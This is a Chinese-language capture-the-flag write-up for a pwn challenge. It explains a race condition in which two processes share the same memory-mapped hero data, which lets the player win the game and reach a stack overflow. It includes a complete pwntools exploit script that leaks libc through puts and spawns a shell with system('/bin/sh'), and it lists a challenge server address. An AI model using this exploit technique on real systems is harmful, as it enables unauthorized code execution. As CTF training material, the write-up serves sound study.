Play(條件競爭,多進程共享同一數據區域)
首先,檢查一下程序的保護機制,很好
然後,我們用IDA分析,發現一個很明顯的棧溢出漏洞
但是,要想執行這個漏洞函數,就必須打贏遊戲
而,要打贏遊戲,就是讓*(_DWORD *)(gMonster + 8)的值小於等於0,也就是Host的Surplus要小於等於0
然後,我們看到這裏有一個修改(gMonster + 8)值的地方
也就是Host和Hero互相攻擊,消減對方的生命值,我們繼續分析,發現gHero指向的是一個內存映射出來的區域
那麼,假如我們同時運行兩個該程序的進程,並且登錄同一個用戶名,那麼,它們的gHero是同一個內存區域,那麼,gHero就疊加了兩種技能,於是就可以打敗BOSS。執行漏洞函數,getshell
我們可以這樣
- change_skill(io1, 3)
- attack(io1)
- change_skill(io2,1)
- use_hide(io1, 1)
如上代碼,io1使用技能3,會導致雙方的生命值都增加,當我們使用技能3 attack時,當出現use hiden_methods?(1:yes/0:no)選擇時,我們通過io2來改變gHero的技能,使得執行後面的代碼時,gHero的生命值增加,gMonster的生命值遞減,這樣,我們就能贏得遊戲
也就是說,在read_int()阻塞io1時,我們通過io2改變了gHero的相關屬性,使得後面的代碼取得的gHero數據和之前不一致。
程序使用了類似於虛表的東西來實現不同技能,從不同的地方取數據,感興趣的同學可以仔細跟蹤一下幾個技能,分別對應的數據在哪,然後找到讓gHero技能遞增,gMonster遞減的攻擊模式。我們上述的是一種攻擊方法,可能還會有其他攻擊方法。
打贏了遊戲,就是一個簡單的棧溢出漏洞,直接利用即可。
綜上,我們的exp腳本
- #coding:utf8
- from pwn import *
- from LibcSearcher import *
- debug = 1
- if debug:
- io1 = process('./pwnh38')
- io2 = process('./pwnh38')
- else:
- addr = '111.198.29.45'
- port = 59829
- io1 = remote(addr,port)
- io2 = remote(addr,port)
- elf = ELF('./pwnh38')
- puts_plt = elf.plt['puts']
- puts_got = elf.got['puts']
- vul_func = elf.sym['vul_func']
- def login(io, name):
- io.sendlineafter("login:", name)
- def attack(io):
- io.sendlineafter("choice>> ","1")
- def use_hide(io, choice):
- io.sendlineafter("(1:yes/0:no):",str(choice))
- def change_skill(io, choice):
- io.sendlineafter("choice>> ","3")
- io.sendlineafter("choice>> ", str(choice))
- def god_attack(io1, io2):
- change_skill(io1, 3)
- attack(io1)
- change_skill(io2,1)
- use_hide(io1, 1)
- def pwn(io1, io2):
- login(io1, "test\n")
- login(io2, "test\n")
- while True:
- god_attack(io1, io2)
- data = io1.recvuntil("\n")
- if "you win" in data:
- data = io1.recvuntil("\n")
- if "remember you forever!" in data:
- break
- #泄露puts的地址
- payload = 'a'*0x4C + p32(puts_plt) + p32(vul_func) + p32(puts_got)
- io1.sendlineafter('name:',payload)
- io1.recvuntil('\n')
- puts_addr = u32(io1.recv(4))
- #查詢數據庫,得到libc的信息
- libc = LibcSearcher('puts',puts_addr)
- #獲得libc基址
- libc_base = puts_addr - libc.dump('puts')
- system_addr = libc_base + libc.dump('system')
- binsh_addr = libc_base + libc.dump('str_bin_sh')
- #getshell
- payload = 'a'*0x4C + p32(system_addr) + p32(0) + p32(binsh_addr)
- io1.sendlineafter('name:',payload)
- pwn(io1, io2)
- io1.interactive()
- #io2.interactive()
本題告訴我們,對於程序中使用文件時,應該加類似於鎖的東西,使得當前程序獲得文件的所有權後,其他的不能在那個程序運行期間獲得文件的所有權。